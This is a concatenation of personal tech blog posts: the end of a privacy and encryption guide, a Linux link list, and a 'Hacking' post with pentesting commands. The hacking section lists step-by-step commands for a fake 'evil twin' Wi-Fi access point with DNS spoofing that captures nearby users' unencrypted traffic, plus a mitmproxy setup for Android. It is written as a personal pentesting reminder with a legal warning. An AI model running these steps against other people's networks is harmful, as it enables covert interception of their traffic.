<div class="highlight"><pre><span></span><code>/dev/mapper/mycryptedhdd /mnt/mounteddirectory ext4 defaults 0 0
</code></pre></div>
<p><em>mycryptedhdd</em> must be the same name used as before. <em>/mnt/mounteddirectory</em> is where the encrypted disk will be available. <em>ext4</em> is the filesystem used on the disk (see step 5). First 0 means the device will not be backed up by the dump utility, second 0 means the device will never be automatically checked by the <code>fsck</code> utility.</p>
<p>You're good!</p>
<h1 id="encrypt-what-you-put-on-cloud-storages">Encrypt what you put on Cloud Storages</h1>
<p>This part is inspired from <a href="http://haridas.in/how-to-put-encrypted-contents-on-cloud-storages.html">this blog post</a>. <strong>I highly recommend encrypting content put online, should it be on proprietary platforms such as Google Drive ou Dropbox, or even on ownCloud.</strong></p>
<div class="highlight"><pre><span></span><code>sudo apt-get install ecryptfs-utils
sudo modprobe cryptfs <span class="c1"># Optional</span>
mkdir ~/Dropbox/Encrypted <span class="c1"># This directory will be put online; its content is encrypted</span>
mkdir ~/SecureDropbox <span class="c1"># You'll put your unencrypted files here</span>
sudo mount -t ecryptfs ~/Dropbox/Encrypted ~/SecureDropbox
<span class="c1"># Choose a passphrase (which will act as a password), aes 32 bytes.</span>
<span class="c1"># Disable plaintext passthrough. Filename encryption might be useful. I would enable it.</span>
</code></pre></div>
<p>Filename encryption might require another last command to be run, if your content is shared on more than one computer:</p>
<div class="highlight"><pre><span></span><code>ecryptfs-add-passphrase --fnek
</code></pre></div>
<h1 id="encrypt-one-single-file">Encrypt one single file</h1>
<h2 id="encryption">Encryption</h2>
<div class="highlight"><pre><span></span><code>openssl aes-256-cbc -in yourfile.txt -out file.enc
<span class="c1"># OR</span>
gpg -c filename
</code></pre></div>
<h2 id="decryption">Decryption</h2>
<div class="highlight"><pre><span></span><code>openssl aes-256-cbc -d -in file.enc -out yourfile.txt
<span class="c1"># OR</span>
gpg filename.gpg
</code></pre></div>
<h1 id="free-alternatives-to-proprietary-software">Free alternatives to proprietary software</h1>
<h2 id="emails">Emails</h2>
<ul>
<li>Thunderbird</li>
</ul>
<h2 id="web-browser">Web browser</h2>
<ul>
<li>Mozilla Firefox</li>
</ul>
<h2 id="text-editor">Text editor</h2>
<ul>
<li>Atom (<s>Sublime Text</s> is proprietary)</li>
<li>Vim or Emacs</li>
</ul>
<h2 id="video-editing">Video editing</h2>
<ul>
<li><a href="http://www.shotcut.org/">Shotcut</a></li>
</ul>
<h2 id="graphics-editor">Graphics editor</h2>
<ul>
<li>Gimp</li>
<li>Inkscape (vector)</li>
</ul>
<h1 id="further-reading">Further reading</h1>
<ul>
<li><a href="http://blog.adminrezo.fr/2016/01/comment-choisir-sa-cle-ssh-rsa-dsa-ecdsa-ed25519/">Quelle clé SSH choisir ? RSA, DSA, ou Ed25519 ?</a></li>
<li><a href="http://linuxfr.org/news/nsa-a-propos-de-bullrun">NSA - À propos de BULLRUN</a></li>
<li><a href="https://www.youtube.com/watch?v=PFsC1puqhA4">How to Destroy a Laptop with Top Secrets [cccamp15]</a></li>
<li><a href="http://korben.info/comment-chiffrer-ses-emails-thunderbird-gpg.html">Comment chiffrer ses emails ? (Thunderbird + GPG)</a></li>
<li><a href="https://help.riseup.net/en/security/message-security/openpgp/best-practices">OpenPGP Best Practices</a></li>
<li><a href="http://jenairienacacher.fr/">Je n'ai rien à cacher.</a></li>
<li><a href="http://framasoft.net/">Framasoft</a></li>
<li><a href="https://wiki.archlinux.org/index.php/Tmpfs">tmpfs</a> & <a href="http://korben.info/accelerez-votre-navigateur-en-mettant-son-cache-en-ram.html">Accélérez votre navigateur en mettant son cache en RAM</a></li>
<li><a href="http://www.ted.com/talks/glenn_greenwald_why_privacy_matters">Why privacy matters</a></li>
<li><a href="http://blog.codinghorror.com/your-password-is-too-damn-short/">Your Password is Too Damn Short</a></li>
<li><a href="http://kacper.blog.redpill-linpro.com/archives/702">NSA-proof SSH</a></li>
<li><a href="https://stribika.github.io/2015/01/04/secure-secure-shell.html">Secure Secure Shell</a></li>
<li><a href="https://nonblocking.info/cryptographie-de-comptoir/">Cryptographie de comptoir</a></li>
<li><a href="http://www.guiguishow.info/2014/07/17/ma-premiere-vraie-cle-pgp/">Ma première (vraie) clé PGP</a></li>
<li><a href="https://medium.com/@vrypan/explaining-public-key-cryptography-to-non-geeks-f0994b3c2d5">Explaining public-key cryptography to non-geeks</a></li>
<li><a href="http://zythom.blogspot.fr/2015/12/le-noob-de-lautohebergement.html">Le noob de l'autohébergement</a></li>
<li><a href="https://github.com/ChALkeR/notes/blob/master/Do-not-underestimate-credentials-leaks.md">Do not underestimate credentials leaks</a></li>
<li><a href="http://www.27months.com/2013/10/its-always-sunny-in-iceland-or-how-i-nsa-proofed-my-email/">It’s Always Sunny in Reykjavik (or) How I NSA-Proofed my Email</a></li>
<li><a href="https://www.whonix.org/wiki/DoNot">Things not to do on Tor</a></li>
<li><a href="http://jumpespjump.blogspot.fr/2015/09/how-i-hacked-my-ip-camera-and-found.html">The IoT may be dangerous! Beware!</a></li>
<li><a href="https://twitter.com/HTeuMeuLeu/status/719489886265454592">What every Browser knows about you</a></li>
<li><a href="https://panopticlick.eff.org/">Panopticlick - Is your browser safe against tracking?</a></li>
<li><a href="https://amiunique.org/">Am I Unique?</a></li>
<li><a href="http://blog.appcanary.com/2016/encrypt-or-compress.html">Should you encrypt or compress first?</a></li>
<li><a href="http://www.linux-magazine.com/Online/Features/Protect-your-Documents-with-GPG">Protect your Documents with GPG</a></li>
<li><a href="https://stallman.org/articles/why-fear-surveillance.html">Yes, You Have Something to Fear</a></li>
<li><a href="https://stallman.org/something-to-fear.html">Something to Fear</a></li>
<li><a href="https://browserleaks.com/">BrowserLeaks.com</a></li>
<li><a href="https://panopticlick.eff.org/">Panopticlick</a></li>
<li><a href="http://someonewhocares.org/hosts/">how to make the internet not suck (as much)</a></li>
<li><a href="https://github.com/tbds/FreeContributor">Simple DNS Ad Blocker</a></li>
<li><a href="https://github.com/jmdugan/blocklists">Shared lists of problem domains people may want to block with hosts files</a></li>
<li><a href="https://github.com/StevenBlack/hosts">hosts: Extending and consolidating hosts files from several well-curated sources like adaway.org, mvps.org, malwaredomainlist.com, someonewhocares.org, and potentially others. You can optionally invoke extensions to block additional sites by category</a></li>
<li><a href="http://korben.info/tout-ce-que-votre-navigateur-peut-balancer-sur-vous.html">Tout ce que votre navigateur peut balancer sur vous</a></li>
<li><a href="http://sebsauvage.net/wiki/doku.php?id=firefox">Paramétrage de Firefox</a></li>
<li><a href="https://medium.com/@FabioAEsteves/i-have-nothing-to-hide-why-should-i-care-about-my-privacy-f488281b8f1d">“I have nothing to hide. Why should I care about my privacy?”</a></li>
<li><a href="https://www.youtube.com/watch?v=djbwzEIv7gE">NOTHING TO HIDE documentaire (français, film complet HD)</a></li>
<li><a href="https://privacyinternational.org/node/1099">Through an app, darkly: How companies construct our financial identity</a></li>
<li><a href="https://vpnreport.org/">I tested the most recommended VPN providers using my credit card to find the best ones — and which ones you should avoid.</a></li>
<li><a href="https://blog.imirhil.fr/2015/12/08/extensions-vie-privee.html">Extensions Firefox pour protéger sa vie privée</a></li>
<li><a href="https://amiunique.org/tools">More extensions</a></li>
<li><a href="http://sebsauvage.net/wiki/doku.php?id=firefox">Even more extensions + how to configure Firefox</a></li>
<li><a href="https://wiki.mozilla.org/Privacy/Privacy_Task_Force/firefox_about_config_privacy_tweeks">Privacy/Privacy Task Force/firefox about config privacy tweeks</a></li>
<li><a href="https://spreadprivacy.com/linux-privacy-tips/">How To Protect Your Privacy On Linux</a></li>
<li><a href="https://pi-hole.net/">Pi-hole</a></li>
<li><a href="https://www.laquadrature.net/fr/temoin_cortana">Derrière les assistants vocaux, des humains vous entendent</a></li>
<li><a href="https://mydatarequest.com/">My Data Request</a></li>
<li><a href="https://twitter.com/sdeleuze/status/1021655647442616322">Yesterday, I finished to switch to @ProtonMail by...</a></li>
<li><a href="https://www.youtube.com/watch?v=AOzkW2W6gfA">YOU ONLY LIVE ONLINE - Dries DEPOORTER - Web2day 2018</a></li>
<li><a href="https://www.wired.com/story/mcsweeneys-excerpt-the-right-to-experiment/">Surveillance Kills Freedom By Killing Experimentation</a></li>
<li><a href="https://motherboard.vice.com/amp/en_us/article/vba7xj/people-who-buy-smart-speakers-have-given-up-on-privacy-researchers-find">People Who Buy Smart Speakers Have Given Up on Privacy, Researchers Find</a></li>
<li><a href="https://www.numerama.com/vroom/444440-en-chine-le-gouvernement-peut-geolocaliser-chaque-voiture-electrique-en-temps-reel.html">En Chine, le gouvernement peut géolocaliser chaque voiture électrique en temps réel</a></li>
<li><a href="https://motherboard.vice.com/en_us/article/j5zap3/delete-all-your-apps">Delete All Your Apps</a></li>
<li><a href="https://www.nytimes.com/interactive/2018/12/10/business/location-data-privacy-apps.html">Your Apps Know Where You Were Last Night, and They’re Not Keeping It Secret</a></li>
<li><a href="http://jeffreybigham.com/blog/2019/who-is-watching-you-in-your-airbnb.html">A Camera is Watching You in Your AirBnB: And, you consented to it.</a></li>
<li><a href="https://gist.github.com/grugq/03167bed45e774551155">Operational PGP</a></li>
<li><a href="https://crackedlabs.org/en/corporate-surveillance/#1">Corporate Surveillance in Everyday Life</a></li>
<li><a href="https://www.nytimes.com/interactive/2019/04/10/opinion/internet-data-privacy.html">It's Time to Panic About Privacy</a></li>
<li><a href="https://medium.com/s/oversight/online-privacy-isnt-dead-if-we-fight-for-it-ef586a27d9b7">Online Privacy Isn’t Dead—If We Fight for It</a></li>
<li><a href="https://pixelprivacy.com/resources/browser-fingerprinting/">Browser Fingerprinting: What Is It and What Should You Do About It?</a></li>
<li><a href="https://makandracards.com/makandra-orga/13644-what-to-do-when-your-gpg-pgp-key-expires">What to do when your GPG/PGP key expires</a></li>
</ul>Mastering GNU/Linux2016-02-02T00:50:00+01:002022-09-24T15:41:00+02:00Romain Pellerintag:romainpellerin.eu,2016-02-02:/mastering-gnu-linux.html<p>Everything you have ever wanted to know about GNU/Linux</p><p>Everything you have ever wanted to know about GNU/Linux plus some troubleshooting tips I learned the hard way.</p>
<h1 id="installing-linux-on-a-dell-preinstalled-with-windows">Installing Linux on a Dell preinstalled with Windows</h1>
<ul>
<li>In Windows, disable Fast startup in Panel Control > Power > Action when button pressed.</li>
<li>In the BIOS/UEFI, keep enabled SecureBoot</li>
<li>You might want to enable 'SD card boot' in the BIOS under Boot > Miscellaneous devices if you use a SD card to install Linux</li>
<li>If your SSD disk is a NVMe, it is possible that Linux can't see it. In such a case, in SATA operation, uncheck RAID and select AHCI. Also uncheck legacy Options ROMs (very important otherwise you will experience very slow boots, up to 10 min to access the BIOS). More information: <a href="https://www.dell.com/community/General/Dell-XPS-13-9365-Won-t-boot-USB-in-SATA-Mode-AHCI-Trying-to/td-p/5119108/page/3">https://www.dell.com/community/General/Dell-XPS-13-9365-Won-t-boot-USB-in-SATA-Mode-AHCI-Trying-to/td-p/5119108/page/3</a> and <a href="https://bbs.archlinux.org/viewtopic.php?id=204629">https://bbs.archlinux.org/viewtopic.php?id=204629</a>.</li>
</ul>
<p>That's it. You should be able to install Linux on the entire disk now.</p>
<h1 id="upgrading-your-distribution-of-ubuntu">Upgrading your distribution of *Ubuntu</h1>
<div class="highlight"><pre><span></span><code>sudo <span class="k">do</span>-release-upgrade
<span class="c1"># OR</span>
sudo update-manager -c
</code></pre></div>
<p><a href="https://help.ubuntu.com/lts/serverguide/installing-upgrading.html">More information</a>.</p>
<h1 id="gnulinux">GNU/Linux</h1>
<ul>
<li><a href="https://www.youtube.com/watch?v=ANA134vEhEI">Nom de code : Linux</a></li>
<li><a href="https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard">Filesystem Hierarchy Standard</a></li>
<li><a href="http://jvns.ca/blog/2016/11/10/a-few-drawings-about-linux/">A few drawings about Linux</a></li>
<li><a href="https://mavielinux.com/2016/12/18/pourquoi-la-mascotte-de-linux-est-un-manchot/">Pourquoi la mascotte de Linux est un manchot?</a></li>
<li><a href="https://www.youtube.com/watch?v=xqdWi6SblV8">Linux est ton meilleur ami (Pierre Antoine Grégoire - Olivier Robert - Nicolas Helleringer)</a></li>
</ul>
<h2 id="free-software-foundation-open-source">Free Software Foundation / Open source</h2>
<ul>
<li><a href="https://www.gnu.org/philosophy/free-software-for-freedom.html">Why “Free Software” is better than “Open Source”</a></li>
<li><a href="https://remysharp.com/2015/01/09/dont-like-open-source">"Why I don't like open source" – my thoughts</a></li>
</ul>
<h1 id="installing-linux">Installing Linux</h1>
<ul>
<li><a href="http://blog.adminrezo.fr/2013/05/que-faire-apres-linstallation-dun-serveur-debian/">Que faire après l’installation d’un serveur Debian ?</a></li>
<li><a href="http://blog.adminrezo.fr/2014/01/post-installation-ubuntu-kubuntu/">Que faire après l’installation de (U|k|x)buntu</a></li>
<li><a href="https://sites.google.com/site/easylinuxtipsproject/first-xubuntu">10 things to do first in Xubuntu 14.04 LTS</a></li>
<li><a href="http://superuser.com/questions/419876/grub-reinstall-after-partition-name-change">grub reinstall after partition name change</a></li>
<li><a href="http://bookmarks.romainpellerin.eu/?page=1">How do I disable the guest session?</a></li>
<li><a href="http://g.eckenschwiller.free.fr/Tutoriels/Installation/greffons_Xfce.php">Quelques greffons pour Xfce</a></li>
<li><a href="http://xubuntugeek.blogspot.fr/2011/12/add-items-to-xfce-applications-menu.html">Add items to Xfce Applications Menu</a></li>
<li><a href="https://github.com/dfkt/firefox-tweaks">firefox-tweaks: attempt to make Firefox suck less</a></li>
<li><a href="https://github.com/MichielDerhaeg/build-linux/blob/master/README.md">Build yourself a Linux</a></li>
</ul>
<h2 id="alongside-windows">Alongside Windows</h2>
<ul>
<li><a href="https://help.ubuntu.com/community/UEFI">Windows 8+ dual boot on UEFI</a></li>
<li><a href="http://www.mercereau.info/reparer-grub-apres-une-installation-de-windows/">Réparer Grub après une installation de windows</a></li>
</ul>
<h1 id="the-whole-system">The whole system</h1>
<ul>
<li><a href="https://www.clever-cloud.com/blog/engineering/2012/11/22/knowing-your-system-part-basics-on-unixlike-systems/">Knowing your system - Part 1 - Basis on UNIX-like systems</a></li>
<li><a href="http://gfx.developpez.com/tutoriel/linux/kernel/">La compilation du noyau</a></li>
<li><a href="http://www.linuxfromscratch.org/">Linux From Scratcg</a></li>
<li><a href="https://www.blackmoreops.com/2015/06/18/linux-file-system-hierarchy-v2-0/">Linux file system hierarchy v2.0</a></li>
<li><a href="https://fredrb.github.io/2016/10/01/Understanding-proc/">Understanding /proc</a></li>
</ul>
<h1 id="shells-terminals">Shells & Terminals</h1>
<ul>
<li><a href="http://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables/5163260#5163260">What are the special dollar sign shell variables?</a></li>
<li><a href="http://stackoverflow.com/questions/2188199/how-to-use-double-or-single-bracket-parentheses-curly-braces">How to use double or single bracket, parentheses, curly braces</a></li>
<li><a href="http://mywiki.wooledge.org/BashFAQ/082">Why is $(...) preferred over <code>...</code> (backticks)?</a></li>
<li><a href="http://www.shellcheck.net/">Shell script analyzer</a></li>
<li><a href="http://samrowe.com/wordpress/advancing-in-the-bash-shell/">Advancing in the Bash Shell</a></li>
<li><a href="https://ddfreyne.github.io/til/2016/12-03-terminal-cursor-movement/">Moving the terminal cursor</a></li>
<li><a href="https://lambdaops.com/rm-rf-remains/">rm -rf remains</a></li>
<li><a href="http://blog.guntram.de/?p=164">The annoying alternate screen in vte-based terminal applications</a></li>
<li><a href="http://st.suckless.org/">st - a simple terminal implementation for X</a></li>
<li><a href="https://vincent.bernat.im/en/blog/2017-write-own-terminal">Write your own terminal emulator</a></li>
<li><a href="http://jvns.ca/blog/2017/03/26/bash-quirks/">Bash scripting quirks & safety tips</a></li>
<li><a href="http://blog.regehr.org/archives/1483">Fun at the UNIX Terminal Part 1</a></li>
</ul>
<h1 id="software">Software</h1>
<ul>
<li><a href="http://putaindecode.fr/posts/shell/apprendre-les-makefiles/">Laissez-vous pousser la barbe, apprenez à écrire des Makefiles</a></li>
<li><a href="http://monkey.org/~marius/unix-tools-hints.html">Hints for writing Unix tools</a></li>
<li><a href="http://linrunner.de/en/tlp/tlp.html">TLP: battery optimizer</a></li>
</ul>
<h1 id="commands-tips">Commands / tips</h1>
<ul>
<li><a href="http://techblog.netflix.com/2015/11/linux-performance-analysis-in-60s.html">Linux Performance Analysis in 60,000 Milliseconds</a></li>
<li><a href="https://korben.info/dintimite-lhistorique-bash.html">Pour avoir un peu d’intimité avec l’historique Bash</a></li>
<li><a href="https://zwischenzugs.com/2018/01/06/ten-things-i-wish-id-known-about-bash/">Ten Things I Wish I’d Known About bash</a></li>
<li><a href="https://zwischenzugs.com/2018/01/21/ten-more-things-i-wish-id-known-about-bash/">Ten More Things I Wish I'd Known About bash</a></li>
<li><a href="http://www.binarytides.com/linux-commands-monitor-network/">18 commands to monitor network bandwidth on Linux server</a></li>
<li><a href="http://arthurdejong.org/recovery.html">Recovering hard drive disk problems</a></li>
<li><a href="http://hacklab.cz/2012/04/22/usefulness-linux-framebuffer-virtual-console">Usefulness of the Linux Framebuffer on the Virtual Console</a></li>
<li><a href="http://pythonhosted.org/pdftools.pdfposter/Examples.html">Print PDF on many pages</a></li>
<li><a href="http://blog.tjll.net/ssh-kung-fu/">SSH Kung Fu</a></li>
<li><a href="https://lonesysadmin.net/2011/11/08/ssh-escape-sequences-aka-kill-dead-ssh-sessions/">SSH Escape Sequences (aka Kill Dead SSH Sessions)</a></li>
<li><a href="http://korben.info/utiliser-nano.html">NANO : Quelques raccourcis à retenir</a></li>
<li><a href="http://wiki.linux-france.org/wiki/Les_commandes_fondamentales_de_Linux">Les commandes fondamentales de Linux</a></li>
<li><a href="http://nicodewaele.free.fr/Site/Stockage/Gnu-Linux/serveur-mail-postfix-courier-imap-ubuntu.pdf">Créer un serveur mail</a></li>
<li><a href="http://nicodewaele.free.fr/Site/Stockage/Gnu-Linux/serveur-dns-bind.pdf">Un DNS avec Bind</a></li>
<li><a href="http://www.bortzmeyer.org/unbound.html">Unbound, un autre résolveur DNS</a></li>
<li><a href="https://zwischenzugs.com/2018/06/08/anatomy-of-a-linux-dns-lookup-part-i/">Anatomy of a Linux DNS Lookup – Part I</a></li>
<li><a href="http://korben.info/long-didnt-read-pour-vos-man-pages.html">Too long; didn’t read pour vos man pages</a></li>
<li><a href="http://askubuntu.com/questions/427818/how-can-i-run-this-sh-script-without-typing-the-full-path/527008#527008">Add a new command available in shell</a></li>
<li><a href="http://askubuntu.com/questions/22381/how-to-format-a-usb-flash-drive/571340#571340">How to format a USB flash drive?</a></li>
<li><a href="https://github.com/yudai/gotty">gotty: Share your terminal as a web application</a></li>
<li><a href="http://crontab.guru/">crontab.guru</a></li>
<li><a href="https://www.security-helpzone.com/rendre-linux-ecologique-gren-it-news-335.html">Rendre Linux écologique (green-it)</a></li>
<li><a href="http://majantali.net/2016/10/how-breakpoints-are-set/">HOW BREAKPOINTS ARE SET</a></li>
<li><a href="http://korben.info/realiser-limage-dun-disque-dur-testdisk.html">Réaliser l’image d’un disque dur avec Testdisk</a></li>
<li><a href="https://github.com/chubin/wttr.in">The right way to check the weather http://wttr.in</a></li>
<li><a href="https://www.lopezferrando.com/30-interesting-shell-commands/">30 interesting commands for the Linux shell</a></li>
</ul>
<h1 id="other-distros">Other distros</h1>
<ul>
<li><a href="https://github.com/CBPP/cbpp">#!++, A CrunchBang revival project (very lightweight distro)</a></li>
</ul>
<h1 id="security">Security</h1>
<p>Generally, security is achieved on Linux with:</p>
<ul>
<li>Setting the right file permissions: <code>chmod</code> + <code>chown</code>) or with <a href="https://help.ubuntu.com/community/FilePermissions#ACL_.28Access_Control_List.29">ACLs</a></li>
<li>AppArmor (enabled by default on Ubuntu)</li>
<li>
<p>SELinux</p>
</li>
<li>
<p><a href="https://dhavalkapil.com/blogs/Shellcode-Injection/">Shellcode Injection</a></p>
</li>
<li><a href="http://blog.mailgun.com/security-guide-basic-infrastructure-security/">Security Guide: How to Protect Your Infrastructure Against the Basic Attacker</a></li>
<li><a href="http://www.onkarjoshi.com/blog/191/device-dev-random-vs-urandom/">/dev/random vs /dev/urandom</a> & <a href="http://www.2uo.de/myths-about-urandom/">Myths about /dev/urandom</a></li>
<li><a href="https://confs.imirhil.fr/20170513_root66_securite-admin-sys/#1">Hygiène numérique pour l’administrateur système</a></li>
<li><a href="https://spreadprivacy.com/linux-privacy-tips/">How To Protect Your Privacy On Linux</a></li>
<li><a href="http://thegeekyway.com/hands-on-guide-on-gpg-keys/">Hands-on Guide on GPG Keys</a></li>
<li><a href="https://www.void.gr/kargig/blog/2013/12/02/creating-a-new-gpg-key-with-subkeys/">Creating a new GPG key with subkeys</a></li>
<li><a href="http://www.beaupeyrat.com/wp-content/uploads/2015/07/gpg.pdf">GNU Privacy Guard</a></li>
<li><a href="https://incenp.org/notes/2015/using-an-offline-gnupg-master-key.html">Using an offline GnuPG master key</a></li>
<li><a href="https://wiki.debian.org/Subkeys">Using OpenPGP subkeys in Debian development</a></li>
<li><a href="https://www.debian.org/doc/manuals/securing-debian-howto/index.fr.html">Securing Debian Manual</a></li>
<li><a href="https://github.com/imthenachoman/How-To-Secure-A-Linux-Server">How To Secure A Linux Server</a></li>
<li><a href="https://github.com/trimstray/the-practical-linux-hardening-guide#information_source-introduction-3">the-practical-linux-hardening-guide</a></li>
</ul>
<h1 id="nginx">NGINX</h1>
<ul>
<li><a href="https://github.com/trimstray/nginx-admins-handbook">trimstray/nginx-admins-handbook</a></li>
</ul>
<h1 id="other">Other</h1>
<ul>
<li><a href="https://tuhdo.github.io/os01/">Operating System: From 0 to 1</a></li>
<li><a href="https://mobile.twitter.com/clementd/status/837600575483179009">xmonad + vimperator</a></li>
<li><a href="https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55">Linux Performance Analysis in 60,000 Milliseconds</a></li>
<li><a href="https://github.com/angrave/SystemProgramming/wiki">System Programming</a></li>
<li><a href="https://bash-prompt.net/guides/server-hacked/">How To Tell If Your Linux Server Has Been Compromised</a></li>
<li><a href="https://www.youtube.com/watch?v=v-jdlc5YdDc">SystemD pro level linux des temps modernes Process management, containers (P.A. Grégoire, Q. Adam)</a></li>
<li><a href="https://0x46.net/thoughts/2019/02/01/dotfile-madness/">Dotfile madness</a></li>
<li><a href="https://github.com/trimstray/the-book-of-secret-knowledge#cli-tools-toc">trimstray/the-book-of-secret-knowledge</a></li>
<li><a href="https://asciinema.org/">asciinema: Record and share your terminal sessions, the right way</a></li>
</ul>Hacking2016-01-18T23:00:00+01:002018-11-28T11:26:00+01:00Romain Pellerintag:romainpellerin.eu,2016-01-18:/hacking.html<p>A handful of useful commands about hacking</p><p>This brief article solely contains a few lines of commands, to perform pentesting or network monitoring. It's basically something I might use in the future on my networks or apps, so I'm writing it down as a reminder. I thought it may help other people that's why I decided to put it online. Of course the preferred operating system is <a href="https://www.kali.org/">Kali</a> (or any Debian-based distro).</p>
<p><strong>WARNING: only for use on your own networks and devices, the law strictly forbids it otherwise.</strong></p>
<h1 id="fake-ap-access-point">Fake AP (access point)</h1>
<p>This technique is about creating a fake access point, similar to one already existing, so that people's computers will try to connect to your fake AP automatically, without them noticing.</p>
<ol>
<li>Deactivate any firewall first</li>
<li>
<p>Get super user rights</p>
<div class="highlight"><pre><span></span><code>sudo su
</code></pre></div>
</li>
<li>
<p>Install some required packages if not already present</p>
<div class="highlight"><pre><span></span><code>aptitude install dnsmasq aircrack-ng
</code></pre></div>
</li>
<li>
<p>List the existing network interfaces and turn one of them into monitor mode</p>
<div class="highlight"><pre><span></span><code>airmon-ng
airmon-ng start wlan0 <span class="c1"># wlan0 is usually Wifi</span>
</code></pre></div>
</li>
<li>
<p>Start monitoring available networks around, and make a quick test</p>
<div class="highlight"><pre><span></span><code>airodump-ng mon0
aireplay-ng --test mon0 <span class="c1"># Test</span>
</code></pre></div>
</li>
<li>
<p>Choose one network and fake it</p>
<div class="highlight"><pre><span></span><code>airbase-ng --essid <span class="s1">'HG655D-1BFF19'</span> -c <span class="m">7</span> -W <span class="m">1</span> -Z <span class="m">2</span> -v mon0 <span class="c1"># Fake WPA AP</span>
</code></pre></div>
</li>
<li>
<p>Enable packet forwarding</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span> <span class="m">1</span> > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port <span class="m">80</span> -j REDIRECT --to-port <span class="m">8080</span>
iptables -t nat -A PREROUTING -p tcp --destination-port <span class="m">443</span> -j REDIRECT --to-port <span class="m">8080</span>
</code></pre></div>
</li>
<li>
<p>Write what follows in <code>/etc/dnsmasq.conf</code>:</p>
<div class="highlight"><pre><span></span><code>interface=at0
dhcp-range=192.168.0.50,192.168.0.150,12h
</code></pre></div>
</li>
<li>
<p>Do some other things for which I can't recall the usefulness right now (but I promise to update the article as soon as I do):</p>
<div class="highlight"><pre><span></span><code>ifconfig at0 <span class="m">192</span>.168.0.1 up
dnsmasq <span class="c1"># pkill dnsmasq if needed</span>
</code></pre></div>
</li>
<li>
<p>Write what follows in <code>/tmp/tests.conf</code> (<code><tab></code> means you have to hit the tab key):</p>
<div class="highlight"><pre><span></span><code><span class="m">192</span>.168.0.1<tab>*
</code></pre></div>
</li>
<li>
<p>Run <code>dnsspoof</code>:</p>
<div class="highlight"><pre><span></span><code>dnsspoof -i wlan0 -f /tmp/tests.conf
</code></pre></div>
</li>
<li>
<p>Finally, start a webserver (Apache or using Python, or whatever)</p>
<div class="highlight"><pre><span></span><code>python3 -m http.server <span class="m">8080</span>
</code></pre></div>
</li>
</ol>
<p>And you're good! All the clear traffic will pop up right in front of your eyes. To deal with HTTPS connections, have a look at <a href="http://www.thoughtcrime.org/software/sslstrip/">SSLstrip</a>.</p>
<p>Encountering problems with DNSspoof? <a href="https://forums.hak5.org/index.php?/topic/29166-dnsspoof-problem/">Have a look there.</a></p>
<p><a href="http://www.backtrack-linux.org/forums/showthread.php?t=61240">More information about faking APs.</a></p>
<p><a href="https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/">Another interesting tutorial ("Kali Linux Evil Wireless Access Point").</a></p>
<h1 id="mitm">MITM</h1>
<p>This is a commonly used technique to "put yourself" between a target user and an access point, in order to see all the traffic this user might send and receive.</p>
<h2 id="mitm-on-android">MITM on Android</h2>
<p>On Android, it has the advantage of allowing you to monitor your outcoming traffic, which is useful when debugging your own apps.</p>
<ol>
<li>
<p>Grant yourself super user rights and enable packet forwarding on the right interface (here <code>eth0</code> which is the Ethernet connection):</p>
<div class="highlight"><pre><span></span><code>sudo su
sysctl -w net.ipv4.ip_forward<span class="o">=</span><span class="m">1</span>
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport <span class="m">80</span> -j REDIRECT --to-port <span class="m">8080</span>
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport <span class="m">443</span> -j REDIRECT --to-port <span class="m">8080</span>
</code></pre></div>
</li>
<li>
<p>Install the required dependencies and mitmproxy:</p>
<div class="highlight"><pre><span></span><code>apt-get install python-pip python-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev
easy_install mitmproxy
</code></pre></div>
<p>You can as well <a href="http://docs.mitmproxy.org/en/stable/install.html#installation-on-ubuntu">download mitmproxy and install it manually</a>.</p>
</li>
<li>
<p>Run it:</p>
<div class="highlight"><pre><span></span><code>mitmproxy -T --no-upstream-cert --host <span class="o">[</span>-p <span class="m">8080</span><span class="o">]</span> <span class="c1"># -p is optional as 8080 is the default port</span>
</code></pre></div>
<p>The argument <code>-T</code> is for <em>transparent</em>. If you don't go for transparent, then the 3 lines about packet forwarding (point 1.) are useless (or maybe not, I can't remember).</p>
</li>
<li>
<p>On your Android device:</p>
<ol>
<li>Open the current Wifi settings (long-press on the connected network).<ul>
<li>If you decided to do transparent proxying (see above), set proxy to your computer's IP and port 8080, like: <code>192.168.1.2:8080</code></li>
<li>If you decided not to do transparent proxying (see above), don't set the proxy and instead set the IP to be static rather than using DHCP. Then write your computer's IP as the gateway.</li>
</ul>
</li>
<li>Go to the website <a href="http://mitm.it">mitm.it</a> and click on the Android icon to install the certificate. If this doesn't work (website unreachable), push the certificate manually from your computer (run the following command from your computer):<div class="highlight"><pre><span></span><code>adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download
</code></pre></div>
</li>
</ol>
</li>
</ol>
<p>Then you'll see the traffic in your terminal going through!</p>
<p>This part has been inspired from <a href="https://medium.com/@rotxed/how-to-debug-http-s-traffic-on-android-7fbe5d2a34">this article</a>.</p>
<h1 id="other-tools">Other tools</h1>
<ul>
<li><a href="https://github.com/xdavidhu/mitmAP">mitmAP - A python program, to create a fake AP, and sniff data</a></li>
</ul>
<h1 id="other-related-topics">Other related topics</h1>
<ul>
<li><a href="http://www.gvrachliotis.net/2013/10/how-to-reset-user-password-in-windows.html">How to: Reset user password in Windows 7/8/8.1</a></li>
<li><a href="https://www.nolimitsecu.fr/les-denis-de-service/">Les dénies de services</a></li>
<li><a href="http://korben.info/wifi-ouvert-attention-aux-faux-hotspot-demo-module-arduino.html">Wifi ouvert – Attention aux faux hotspot ! (+ une démo avec un module Arduino)</a></li>
<li><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/">How I Cracked a Keylogger and Ended Up in Someone's Inbox</a></li>
<li><a href="https://defaultnamehere.tumblr.com/post/147747146865/stalking-your-facebook-friends-on-tinder">Stalking your Facebook friends on Tinder</a></li>
<li><a href="https://blog.secureideas.com/2013/05/professionally-evil-this-is-not.html">Professionally Evil: This is NOT the Wireless Access Point You are Looking For</a></li>
